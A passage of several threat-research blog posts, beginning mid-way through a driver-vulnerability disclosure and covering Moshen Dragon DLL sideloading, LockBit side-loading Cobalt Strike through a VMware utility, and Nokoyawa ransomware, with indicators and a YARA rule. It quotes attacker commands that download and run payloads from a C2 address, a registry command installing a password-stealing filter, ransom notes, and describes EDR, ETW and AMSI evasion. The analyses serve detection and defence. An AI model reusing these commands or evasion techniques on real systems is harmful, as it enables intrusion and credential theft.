    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        printf("Could not create socket : %d", WSAGetLastError());
    }
    printf("Socket created.\n");
 
 
    server.sin_addr.s_addr = inet_addr(IP_ADDRESS);
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
 
    if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
        puts("connect error");
        return 1;
    }
 
    puts("Connected");
 
    message = (char *)"GET / HTTP/1.1\r\n\r\n";
    if (send(s, message, strlen(message), 0) < 0) {
        puts("Send failed");
        return 1;
    }
    puts("Data Sent!\n");

So the whole flow looks like this:

Once the vulnerability is triggered, the user sees the following alert from the OS.

CVE-2022-26523

The second vulnerable function is at aswArPot+0xbb94 and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.

This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.

Both of these vulnerabilities were fixed in version 22.1.

Impact

Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.

As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Mitigation

The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.

Conclusion

These high severity vulnerabilities, affect millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.

We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.

Disclosure Timeline

  • 20 December, 2021 – Initial disclosure.
  • 04 January, 2022 – Avast acknowledges the report.
  • 11 February, 2022 – Avast notifies us that the vulnerabilities are fixed.

Moshen Dragon’s Triad-and-Error Approach | Abusing Security Software to Sideload PlugX and ShadowPad

2 May 2022 at 15:39

By Joey Chen and Amitai Ben Shushan Ehrlich

Executive Summary

  • SentinelLabs researchers are tracking the activity of a Chinese-aligned cyberespionage threat actor operating in Central-Asia, dubbed ‘Moshen Dragon’.
  • As the threat actor faced difficulties loading their malware against the SentinelOne agent, we observed an unusual approach of trial-and-error abuse of traditional antivirus products to attempt to sideload malicious DLLs.
  • Moshen Dragon deployed five different malware triads in an attempt to use DLL search order hijacking to sideload ShadowPad and PlugX variants.
  • Moshen Dragon deploys a variety of additional tools, including an LSA notification package and a passive backdoor known as GUNTERS.

Overview

SentinelLabs recently uncovered a cluster of activity targeting the telecommunication sector in Central Asia, utilizing tools and TTPs commonly associated with Chinese APT actors. The threat actor systematically utilized software distributed by security vendors to sideload ShadowPad and PlugX variants. Some of the activity partially overlaps with threat groups tracked by other vendors as RedFoxtrot and Nomad Panda. We track this cluster of activity as ‘Moshen Dragon’.

Usually, good detection has an inverse relationship with visibility of a threat actor’s TTPs. When part of an infection chain gets detected, it usually means that we don’t get to see what the threat actor intended to deploy or ultimately do. In an unexpected twist, our detection capabilities uncovered an unusual TTP as Moshen Dragon attempted to repeatedly bypass that detection.

Every time the intended payload was blocked, we were able to witness the actor’s reliance on a wide variety of legitimate software leveraged to sideload ShadowPad and PlugX variants. Many of these hijacked programs belong to security vendors, including Symantec, TrendMicro, BitDefender, McAfee and Kaspersky.

Rather than criticize any of these products for their abuse by an insistent threat actor, we remind readers that this attack vector reflects an age-old design flaw in the Windows Operating System that allows DLL search order hijacking. Tracking of additional Moshen Dragon loading mechanisms and hijacked software surfaced more payloads uploaded to VirusTotal, some of which were recently published under the name ‘Talisman’.

In addition to ShadowPad and the PlugX Talisman variant, the Moshen Dragon deployed a variety of other tools, including an LSA notification package to harvest credentials and a passive loader dubbed GUNTERS by Avast. Despite all of this visibility, we are still unable to determine their main infection vector. Their concerted efforts include the use of known hacking tools, red team scripts, and on-keyboard attempts at lateral movement and data exfiltration.

We will focus on the actor’s insistent abuse of different AV products to load malicious payloads in an attempt to ‘bruteforce’ infection chains that would go undetected by traditional SOC and MDR solutions.

Hijacking Security Products

Moshen Dragon actors systematically abused security software to perform DLL search order hijacking. The hijacked DLL is in turn used to decrypt and load the final payload, stored in a third file residing in the same folder. This combination is recognized as a sideloading triad, a technique commonly associated with Lucky Mouse.

The way the payloads were deployed, as well as other actions within target networks, suggest the threat actor uses IMPACKET for lateral movement. Upon execution, some of the payloads will achieve persistence by either creating a scheduled task or a service.

Execution flow of hijacked software as carried out by Moshen Dragon

As major portions of the Moshen Dragon activity were identified and blocked, the threat actor consistently deployed new malware, using five different security products to sideload PlugX and ShadowPad variants.

A summary of the hijacked software is presented in the table below:

Product Path
Symantec SNAC C:\Windows\AppPatch, C:\ProgramData\SymantecSNAC, C:\ProgramData\Symantec\SNAC, C:\Windows\Temp
TrendMicro Platinum Watch Dog C:\Windows\ AppPatch
BitDefender SSL Proxy Tool C:\ProgramData\Microsoft\Windows, C:\ProgramData\Microsoft\Windows\LfSvc, C:\ProgramData\Microsoft\Windows\WinMSIPC, C:\ProgramData\Microsoft\Windows\ClipSVC, C:\ProgramData\Microsoft\Wlansvc, C:\ProgramData\Microsoft\Windows\Ringtones
McAfee Agent C:\ProgramData\McAfee, C:\ProgramData\Microsoft\WwanSvc, C:\ProgramData\Microsoft\WinMSIPC
Kaspersky Anti-Virus Launcher C:\ProgramData\Microsoft\XboxLive, C:\programdata\GoogleUpdate

Lateral Movement Using Impacket

Impacket is a collection of Python classes for working with network protocols, commonly utilized by threat actors for lateral movement. One of the favorite tools in the Impacket arsenal is wmiexec, which enables remote code execution via WMI. An effective way to identify wmiexec execution is searching for the unique command line pattern it creates. Moshen Dragon activities are rife with this pattern.

Lateral Movement utilizing Impacket as identified by the SentinelOne Agent

LSA Notification Package – SecureFilter

When on domain controllers, Moshen Dragon dropped a password filter and loaded it into the lsass process via LSA Notification packages. Impacket is used in the following manner:

cmd.exe /Q /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "rassfm\0scecli\0SecureFilter" /f 1> \\127.0.0.1\ADMIN$\__[REDACTED] 2>&1

The DLL deployed is dropped in the path C:\Windows\System32\SecureFilter.dll in order to enable loading using the Notification Package feature. The DLL seems to rely on an open source project named DLLPasswordFilterImplant, effectively writing changed user passwords to the file C:\Windows\Temp\Filter.log.

Snippet from SecureFilter.dll

GUNTERS – A Passive Loader

During our analysis of Moshen Dragon’s activities, we came across a passive loader previously discussed by Avast as ‘GUNTERS’. This backdoor appears to be highly targeted as it performs checks to verify that it is executed on the right machine.

Before execution, the malware calculates the hash of the machine hostname and compares it to a hardcoded value, suggesting that the threat actor generates a different DLL for each target machine.

The loader utilized WinDivert to intercept incoming traffic, searching for a magic string to initiate a decrypting process utilizing a custom protocol. Following the decryption process, the malware attempts to load a PE file with an exported function named SetNtApiFunctions, which it calls to launch the payload.

Exported functions of an internal GUNTERS resource utilized in the loading process

A thorough analysis of the custom protocol and loading mechanism is available here.

Additional Payloads

SentinelLabs came across additional related artifacts overlapping with this threat cluster. It’s possible that some of those were utilized by Moshen Dragon or a related actor.

File name SHA1 C&C
SNAC.log e9e8c2e720f5179ff1c0ac30ce017224ac0b2f1b freewula.strangled.net szuunet.strangled.net
SNAC.log b6c6c292cbd35298a5f055448177bcfd5d0b23bf final.staticd.dynamic-dns.net
SNAC.log 2294ecbbb065c517bd0e01f3f01aabd0a0402f5a dhsg123.jkub.com
bdch.tmp 7021a62b68751b7a3a2984b2996139aca8d19fec greenhugeman.dns04.com

After analyzing these payloads, we found them to be additional PlugX and ShadowPad variants. SNAC.log payloads have been identified by other researchers as Talisman, which is known to be another variant of PlugX. In addition, the bdch.tmp payload was produced by shellcode with a structure similar to ShadowPad malware but without the initial code obfuscation and decryption logic typically seen in ShadowPad.

Conclusion

PlugX and Shadowpad have a well-established history of use among Chinese-speaking threat actors primarily for espionage activity. Those tools have flexible, modular functionality and are compiled via shellcode to easily bypass traditional endpoint protection products.

Here we focused on Moshen Dragon TTPs observed during an unusual engagement that forced the threat actor to conduct multiple phases of trial-and-error to attempt to deploy their malware. Once the attackers have established a foothold in an organization, they proceed with lateral movement by leveraging Impacket within the network, placing a passive backdoor into the victim environment, harvesting as many credentials as possible to insure unlimited access, and focusing on data exfiltration.

SentinelLabs continue to monitor Moshen Dragon activity as it unfolds.

Indicators of Compromise

Hijacked DLLs

  • ef3e558ecb313a74eeafca3f99b7d4e038e11516
  • 3c6a51961aa328ba507796153234309a5e83bee3
  • fae572ad1beab78e293f756fd53cf71963fdb1bd
  • 308ed56dc1fbc98b574f937d4b005190c878416f
  • 55e89f458b5f5642300dd7c50b444232e37c3fa7

Payloads

  • e9e8c2e720f5179ff1c0ac30ce017224ac0b2f1b
  • b6c6c292cbd35298a5f055448177bcfd5d0b23bf
  • 2294ecbbb065c517bd0e01f3f01aabd0a0402f5a
  • 7021a62b68751b7a3a2984b2996139aca8d19fec

Password Filter

  • c4f1177f68676b770934b142f9c3e2c4eff7f164

GUNTERS

  • bb68816f324f2ac4f0d4756b66af67d01c8b6e4e
  • 4025e14a7f8928753ba06ad155944624069497dc
  • f5b8ab4a7d9c723c2b3b842b49f66da2e1697ce0

Infrastructure

  • freewula.strangled[.]net
  • szuunet.strangled[.]net
  • final.staticd.dynamic-dns[.]net
  • dhsg123.jkub[.]com
  • greenhugeman.dns04[.]com
  • gfsg.chickenkiller[.]com
  • pic.farisrezky[.]com

LockBit Ransomware Side-loads Cobalt Strike Beacon with Legitimate VMware Utility

27 April 2022 at 16:52

By James Haughom, Júlio Dantas, and Jim Walter

Executive Summary

  • The VMware command line utility VMwareXferlogs.exe used for data transfer to and from VMX logs is susceptible to DLL side-loading.
  • During a recent investigation, our DFIR team discovered that LockBit Ransomware-as-a-Service (Raas) side-loads Cobalt Strike Beacon through a signed VMware xfer logs command line utility.
  • The threat actor uses PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a .log file containing an encrypted Cobalt Strike Reflective Loader.
  • The malicious DLL evades defenses by removing EDR/EPP’s userland hooks, and bypasses both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI).
  • There are suggestions that the side-loading functionality was implemented by an affiliate rather than the Lockbit developers themselves (via vx-underground), likely DEV-0401.

Overview

LockBit is a Ransomware as a Service (RaaS) operation that has been active since 2019 (previously known as “ABCD”). It commonly leverages the double extortion technique, employing tools such as StealBit, WinSCP, and cloud-based backup solutions for data exfiltration prior to deploying the ransomware. Like most ransomware groups, LockBit’s post-exploitation tool of choice is Cobalt Strike.

During a recent investigation, our DFIR team discovered an interesting technique used by LockBit Ransomware Group, or perhaps an affiliate, to load a Cobalt Strike Beacon Reflective Loader. In this particular case, LockBit managed to side-load Cobalt Strike Beacon through a signed VMware xfer logs command line utility.

Since our initial publication of this report, we have identified a connection with an affiliate Microsoft tracks as DEV-0401. A switch to LockBit represents a notable departure in DEV-0401’s previously observed TTPs.

Side-loading is a DLL-hijacking technique used to trick a benign process into loading and executing a malicious DLL by placing the DLL alongside the process’ corresponding EXE, taking advantage of the DLL search order. In this instance, the threat actor used PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a .log file containing an encrypted Cobalt Strike Reflective Loader. The VMware utility was then executed via cmd.exe, passing control flow to the malicious DLL.

The DLL then proceeded to evade defenses by removing EDR/EPP’s userland hooks, as well as bypassing both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). The .log file was then loaded in memory and decrypted via RC4, revealing a Cobalt Strike Beacon Reflective Loader. Lastly, a user-mode Asynchronous Procedure Call (APC) is queued, which is used to pass control flow to the decrypted Beacon.

Attack Chain

The attack chain began with several PowerShell commands executed by the threat actor to download three components, a malicious DLL, a signed VMwareXferlogs executable, and an encrypted Cobalt Strike payload in the form of a .log file.

Filename Description
glib-2.0.dll Weaponized DLL loaded by VMwareXferlogs.exe
VMwareXferlogs.exe Legitimate/signed VMware command line utility
c0000015.log Encrypted Cobalt Strike payload

Our DFIR team recovered the complete PowerShell cmdlets used to download the components from forensic artifacts.

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\windows\debug\glib-2.0.dll;

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log;

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe

The downloaded binary (VMwareXferlogs.exe) was then executed via the command prompt, with the STDOUT being redirected to a file.

c:\windows\debug\VMwareXferlogs.exe 1> 
\\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1

The VMwareXferlogs.exe is a legitimate, signed executable belonging to VMware.

VirusTotal Signature Summary

This utility is used to transfer data to and from VMX logs.

VMware xfer utility command line usage

This command line utility makes several calls to a third party library called glib-2.0.dll. Both the utility and a legitimate version of glib-2.0.dll are shipped with VMware installations.

glib-2.0.dll functions being called by VMwareXferlog.exe

The weaponized glib-2.0.dll downloaded by the threat actor exports all the necessary functions imported by VMwareXferlog.exe.

Exported functions of malicious glib-2.0.dll
glib-2.0.dll-related functions imported by VMwareXferlog.exe

Calls to exported functions from glib-2.0.dll are made within the main function of the VMware utility, the first being g_path_get_basename().

glib-2.0.dll functions being called by VMwareXferlog.exe

Note that the virtual addresses for the exported functions are all the same for the weaponized glib-2.0.dll (0x1800020d0), except for g_path_get_basename, which has a virtual address of 0x180002420. This is due to the fact that all exports, except for the g_path_get_basename function do nothing other than call ExitProcess().

g_error_free() function’s logic

On the other hand, g_path_get_basename() invokes the malicious payload prior to exiting.

When VMwareXferlog.exe calls this function, control flow is transferred to the malicious glib-2.0.dll, rather than the legitimate one, completing the side-loading attack.

g_path_get_basename() being called in the main() function

Once control flow is passed to the weaponized DLL, the presence of a debugger is checked by querying the BeingDebugged flag and NtGlobalFlag in the Process Environment Block (PEB). If a debugger is detected, the malware enters an endless loop.

Anti-debug mechanisms

Bypassing EDR/EPP Userland Hooks

At this juncture, the malware enters a routine to bypass any userland hooks by manually mapping itself into memory, performing a byte-to-byte inspection for any discrepancies between the copy of self and itself, and then overwriting any sections that have discrepancies.

This routine is repeated for all loaded modules, thus allowing the malware to identify any potential userland hooks installed by EDR/EPP, and overwrite them with the unpatched/unhooked code directly from the modules’ images on disk.

Checking for discrepancies between on-disk and in-memory for each loaded module

For example, EDR’s userland NT layer hooks may be removed with this technique. The below subroutine shows a trampoline where a SYSCALL stub would typically reside, but instead jumps to a DLL injected by EDR. This subroutine will be overwritten/restored to remove the hook.

EDR-hooked SYSCALL stub that will be patched

Here is a look at the patched code to restore the original SYSCALL stub and remove the EDR hook.

NT layer hook removed and original code restored

Once these hooks are removed, the malware continues to evade defenses. Next, an attempt to bypass Event Tracing for Windows (ETW) commences through patching the EtwEventWrite WinAPI with a RET instruction (0xC3), stopping any useful ETW-related telemetry from being generated related to this process.

Event Tracing for Windows bypass

AMSI is bypassed the same way as ETW through patching AmsiScanBuffer. This halts AMSI from inspecting potentially suspicious buffers within this process.

AMSI bypass

Once these defenses have been bypassed, the malware proceeds to execute the final payload. The final payload is a Cobalt Strike Beacon Reflective Loader that is stored RC4-encrypted in the previously mentioned c0000015.log file. The RC4 Key Scheduling Algorithm can be seen below with the hardcoded 136 byte key.

&.5 \C3%YHO2SM-&B3!XSY6SV)6(&7;(3.'
$F2WAED>>;K]8\*D#[email protected](R,+]A-G\D
HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q'
4CP8M-%4N[7.$R->-1)$!NU"W$!YT<J$V[
RC4 Key Scheduling Algorithm

The RC4 decryption of the payload then commences.

RC4 decryption routine

The final result is Beacon’s Reflective Loader, seen below with the familiar magic bytes and hardcoded strings.

Decrypted Cobalt Strike Beacon Reflective Loader

Once decrypted, the region of memory that the payload resides in is made executable (PAGE_EXECUTE_READWRITE), and a new thread is created for this payload to run within.

This thread is created in a suspended state, allowing the malware to add a user-mode APC, pointing to the payload, to the newly created thread’s APC queue. Finally, the thread is resumed, allowing the thread to run and execute the Cobalt Strike payload via the APC.

Logic to queue and execute user-mode APC

The DLL is detected by the SentinelOne agent prior to being loaded and executed.

Detection for LockBit DLL

VMware Side-loading Variants

A handful of samples related to the malicious DLL were discovered by our investigation. The only notable differences being the RC4 key and name of the file containing the RC4-encrypted payload to decrypt.

For example, several of the samples attempt to load the file vmtools.ini rather than c0000015.log.

The vmtools.ini file being accessed by a variant

Another variant shares the same file name to load vmtools.ini, yet is packed with a custom version of UPX.

Tail jump at the end of the UPX unpacking stub

Conclusion

The VMware command line utility VMwareXferlogs.exe used for data transfer to and from VMX logs is susceptible to DLL side-loading. In our engagement, we saw that the threat actor had created a malicious version of the legitimate glib-2.0.dll to only have code within the g_path_get_basename() function, while all other exports simply called ExitProcess(). This function invokes a malicious payload which, among other things, attempts to bypass EDR/EPP userland hooks and engages in anti-debugging logic.

LockBit continues to be a successful RaaS and the developers are clearly innovating in response to EDR/EPP solutions. We hope that by describing this latest technique, defenders and security teams will be able to improve their ability to protect their organizations.

Indicators of Compromise

SHA1 Description
729eb505c36c08860c4408db7be85d707bdcbf1b Malicious glib-2.0.dll from investigation
091b490500b5f827cc8cde41c9a7f68174d11302 Decrypted Cobalt Strike payload
e35a702db47cb11337f523933acd3bce2f60346d Encrypted Cobalt Strike payload – c0000015.log
25fbfa37d5a01a97c4ad3f0ee0396f953ca51223 glib-2.0.dll vmtools.ini variant
0c842d6e627152637f33ba86861d74f358a85e1f glib-2.0.dll vmtools.ini variant
1458421f0a4fe3acc72a1246b80336dc4138dd4b glib-2.0.dll UPX-packed vmtools.ini variant
File Path Description
c:\windows\debug\VMwareXferlogs.exe Full path to legitimate VMware command line utility
c:\windows\debug\glib-2.0.dll Malicious DLL used for hijack
c:\windows\debug\c0000015.log Encrypted Cobalt Strike reflective loader
C2 Description
149.28.137[.]7 Cobalt Strike C2
45.32.108[.]54 Attacker C2

YARA Hunting Rules

import "pe"

rule Weaponized_glib2_0_dll
{
	meta:
		description = "Identify potentially malicious versions of glib-2.0.dll"
		author = "James Haughom @ SentinelOne"
		date = "2022-04-22"
		reference = "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/"

	/*
		The VMware command line utilty 'VMwareXferlogs.exe' used for data
		transfer to/from VMX logs is susceptible to DLL sideloading. The
		malicious versions of this DLL typically only have code within 
		the function 'g_path_get_basename()' properly defined, while the
		rest will of the exports simply call 'ExitProcess()'.  Notice how
		in the exports below, the virtual address for all exported functions
		are the same except for 'g_path_get_basename()'. We can combine this
		along with an anomalously low number of exports for this DLL, as
		legit instances of this DLL tend to have over 1k exports.

		[Exports]

		nth paddr      vaddr       bind   type size lib          name
		―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
		1   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_error_free
		2   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_free
		3   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_add_main_entries
		4   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_free
		5   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_get_help
		6   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_new
		7   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_parse
		8   0x00001820 0x180002420 GLOBAL FUNC 0    glib-2.0.dll g_path_get_basename
		9   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_print
		10  0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_printerr
		11  0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_set_prgname


		This rule will detect malicious versions of this DLL by identifying
		if the virtual address is the same for all of the exported functions
		used by 'VMwareXferlogs.exe' except for 'g_path_get_basename()'.
	*/

	condition:
		/* sample is an unsigned DLL */
		pe.characteristics & pe.DLL and pe.number_of_signatures == 0 and

		/* ensure that we have all of the exported functions of glib-2.0.dll imported by VMwareXferlogs.exe */
		pe.exports("g_path_get_basename") and
		pe.exports("g_error_free") and
		pe.exports("g_free") and
		pe.exports("g_option_context_add_main_entries") and
		pe.exports("g_option_context_get_help") and
		pe.exports("g_option_context_new") and
		pe.exports("g_print") and
		pe.exports("g_printerr") and
		pe.exports("g_set_prgname") and
		pe.exports("g_option_context_free") and
		pe.exports("g_option_context_parse") and

		/* all exported functions have the same offset besides g_path_get_basename */
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_error_free")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_get_help")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_new")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_add_main_entries")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_print")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_printerr")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_set_prgname")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_free")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_parse")].offset and
		pe.export_details[pe.exports_index("g_free")].offset != pe.export_details[pe.exports_index("g_path_get_basename")].offset and

		/* benign glib-2.0.dll instances tend to have ~1k exports while malicious ones have the bare minimum */
		pe.number_of_exports 

MITRE ATT&CK TTPs

TTP MITRE ID
Encrypted Cobalt Strike payload T1027
DLL Hijacking T1574
ETW Bypass T1562.002
AMSI Bypass T1562.002
Unhooking EDR T1562.001
Encrypted payload T1027.002
Powershell usage T1059.001
Cobalt Strike S0154

Nokoyawa Ransomware | New Karma/Nemty Variant Wears Thin Disguise

21 April 2022 at 16:58

Executive Summary

  • At the beginning of February 2022, SentinelLabs observed two samples of a new Nemty variant dubbed “Nokoyawa” (sample 1, 2).
  • SentinelLabs consider Nokoyawa to be an evolution of the previous Nemty strain, Karma.
  • The developers have attempted to enhance code responsible for excluding folders from encryption, but SentinelLabs analysis finds that the algorithm contains logical flaws.
  • In March, TrendMicro suggested this ransomware bore some relation to Hive. We assess that Hive and Nokoyawa are different and that the latter is not a rebrand of Hive RaaS.

Overview

In this post, we take a broader look at the similarities between Nokoyawa and Karma ransomware. Previous researchers have highlighted similarities in the attack chain between Nokoyawa and Hive ransomware, concluding that “Nokoyawa is likely connected with Hive, as the two families share some striking similarities in their attack chain, from the tools used to the order in which they execute various steps.” Our analysis contradicts that finding, and we assess Nokoyawa is clearly an evolution of Karma (Nemty), bearing no major code similarities to Hive.

Nokoyawa and Karma Variant Similarities

Both Nokoyawa and Karma variants manage multi-threaded encryption by creating an input/output (I/O) completion port (CreateIoCompletionPort), which allows communication between the thread responsible for the enumeration of files and the sub-threads (“2 * NumberOfProcessors”) responsible for the file encryption.

Nokyoawa (left) vs Karma, initialization of encryption threads

In both cases, public keys for the encryption and ransom note are encoded with Base64.

Like Karma, Nokoyawa accepts different command line parameters, although in the latter they are documented by the developer via a -help command.

Nokoyawa command line support

Aside from the -help command, three other commands (-network, -file, and -dir) are also provided.

Parameter Functionality
-help Prints command line options for execution of ransomware.
-network Encrypts local and network shares.
-file Encrypts specified file.
-dir Encrypts specified directory.

If the ransomware is executed without any parameter, it then encrypts the machine without enumerating and encrypting network resources.

One new parameter not observed in the Karma version is -network, which is responsible for encrypting network shares. Network enumeration is achieved by calling WNetOpenEnumW, WNetEnumResourceW, and WNetCloseEnum.

There are no significant similarities between the ransom notes except the use of email for contact points. Karma variants contained an .onion link that was also present in the Karma ransom note. We did not find any .onion links in Nokoyawa code or ransom note.

The Nokyoawa ransom note:

Dear usernamme, your files were encrypted, some are compromised.
Be sure, you can't restore it without our help.
You need a private key that only we have.
Contact us to reach an agreement or we will leak your black shit to media:

[email protected]rg
[email protected]

亲爱的用户名,您的文件已加密,有些已被泄露。
请确保,如果没有我们的帮助,您将无法恢复它。
您需要一个只有我们拥有的私钥。
联系我们以达成协议,否则我们会将您的黑屎泄露给媒体:

[email protected]
[email protected]

The Karma ransom note:

Your network has been breached by Karma ransomware group.
We have extracted valuable or sensitive data from your network and encrypted the data on your systems.
Decryption is only possible with a private key that only we posses.
Our group's only aim is to financially benefit from our brief acquaintance,this is a guarantee that we will do what we promise.
Scamming is just bad for business in this line of work.
Contact us to negotiate the terms of reversing the damage we have done and deleting the data we have downloaded.
We advise you not to use any data recovery tools without leaving copies of the initial encrypted file.
You are risking irreversibly damaging the file by doing this.

If we are not contacted or if we do not reach an agreement we will leak your data to journalists and publish it on our website.

http://3nvzqyo6l4wkrzumzu5aod7zbosq4ipgf7ifgj3hsvbcr5vcasordvqd.onion/

If a ransom is payed we will provide the decryption key and proof that we deleted you data.
When you contact us we will provide you proof that we can decrypt your files and that we have downloaded your data.

How to contact us:
[email protected]
[email protected]
[email protected]

The ransom note filename uses a similar format as the previous versions: <ransom_extension>_<note_name>.txt.

Nokoyawa Karma
ransom_extension “NOKOYAWA” “KARMA” & “KARMA_V2”
note_name “_readme.txt” “-ENCRYPTED.txt”

The <ransom_extension> string has been used for many different functions, including:

  • file extension of encrypted files
  • appended as data to an encrypted file
  • ransom note filename part
  • mutex (the NOKOYAWA variant is observed to not make use of Mutexes)
  • to denote files to be excluded from further processing (e.g., to avoid running in a loop)

Nokoyawa’s Flawed Encryption Routine

During the file and folder enumeration, the new variant creates a hash of the enumerated folder and compares it to those of excluded folders. However, this custom hashing algorithm appears to have flaws as it doesn’t seem logical nor does it appear to work as expected.

Below is a Python representation of the hashing algorithm.

def nokoyawa_dir_hashing(folder):
    folder_len = len(folder)
    # to unicode
    folder = '\x00'.join([c for c in folder])
    # initial hash value
    nhash = 0x1505
    i = 0
    while i 

The implementation of this flawed hashing algorithm in some cases results in excluding multiple folders. Logically, one would expect there to be a 1:1 correlation between a hash and the folder to be excluded. However, the flawed code effectively makes it possible for multiple folders to be excluded based on a single hash. This code does not appear in Karma variants, which instead contain hardcoded strings denoting which folders to ignore during encryption.

The following table shows which folders the developers intended to skip during encryption.

Hash Folders Intended To Be Excluded
0x11f299b5 program files
0x78fb3995 program files (x86)
0x7c80b426 appdata
0x7c8cc47c windows
0xc27bb715 programdata
0xd6f02889 $recycle.bin

For extensions, the ransomware doesn't have any hashing algorithm and compares the raw strings with the extracted extension of the file. The excluded extensions are .exe, .dll, and .lnk. Files containing "NOKOYAWA" are also excluded.

Both Nokoyawa and Karma variants dynamically load bcrypt.dll and call BCryptGenRandom in order to generate 0x20 random bytes. They generate an ephemeral Sect233r1 key pair using the generated random bytes as the seed. The malware then uses the private ephemeral key and the public embedded key to generate a shared Salsa20 key, which is subsequently used for the file encryption. The Salsa20 nonce is hardcoded as “lvcelvce” in Nokoyawa, whereas in the Karma version it was "11111111".

An I/O completion packet is sent to the thread responsible for encryption. The packet includes the following:

  • File handle
  • File size
  • File data
  • Salsa20 key
  • Salsa nonce
  • public ephemeral key

The encryption thread has a switch containing four cases, as follows:

  • Case 1: Writes encrypted content and decryption struct to file and appends "extension"/"variant name".
  • Case 2: Calculates validation SHA1 hash and encrypts file data with Salsa20.
  • Case 3: Closes File Handle and moves files with the new extension.
  • Case 4: Exits.

In both variants, the initial switch case is "2".

Initial case, encryption thread
Encryption thread case handler

During Case 2, the malware adds a SHA1 checksum, which is possibly validated during the decryption phase. The method runs through the following logic:

  • Allocates 0x13 bytes (0x14 required for SHA1)
  • XORs Salsa key with a buffer of "6".
  • Concatenates file data to XORed Salsa key
  • Calculates SHA1.
  • XORs Salsa key with a buffer of "\".
  • Concatenates SHA1 hash to the second XORed Salsa key.
  • Calculates validation SHA1.
  • Validation SHA1 hash first 0x13 bytes are added to the encrypted file struct

Files encrypted by Nokoyawa will have the following structure.

struct nokoyawa_encrypted_file
{
    BYTE  encrypted_file_data[file_size],  // using salsa20
    BYTE  public_ephemeral_key[0x40],  // Sect233r1
    BYTE  validation_hash[0x13],  // last byte is chopped
    STRING ransomware_extension
}

The private key required for decryption is held by the attacker. When made available to the victim, the decryption routine reads the struct, extracts the public ephemeral key and generates the Salsa 20 key using the private key. The encrypted data is then decrypted with the key and validated by replicating the validated hash.

Conclusion

Nokoyawa code similarity and structure suggest it to be an evolution of the previous Nemty strain, Karma. This appears to be another attempt from the developer to confuse attribution. At this time, the actor appears not to have or provide any onion leak page.

SentinelLabs could not validate previous research suggesting Nokoyawa is related to Hive. Given the lack of code similarities between the two and the lack of further correlating data, we can only suggest that earlier researchers' findings may be explained by the possibility of an affiliate using both Hive and Nokoyawa.

SentinelLabs continues to follow and analyze the development of Nemty ransomware variants.

Indicators of Compromise

Karma Ransomware SHA1

960fae8b8451399eb80dd7babcc449c0229ee395

Nokoyawa Ransomware SHA1

2904358f825b6eb6b750e13de43da9852c9a9d91
2d92468b5982fbbb39776030fab6ac35c4a9b889
32c2ecf9703aec725034ab4a8a4c7b2944c1f0b7

Nokoyawa Ransom Note Email Addresses

[email protected]
[email protected]
[email protected]
[email protected]

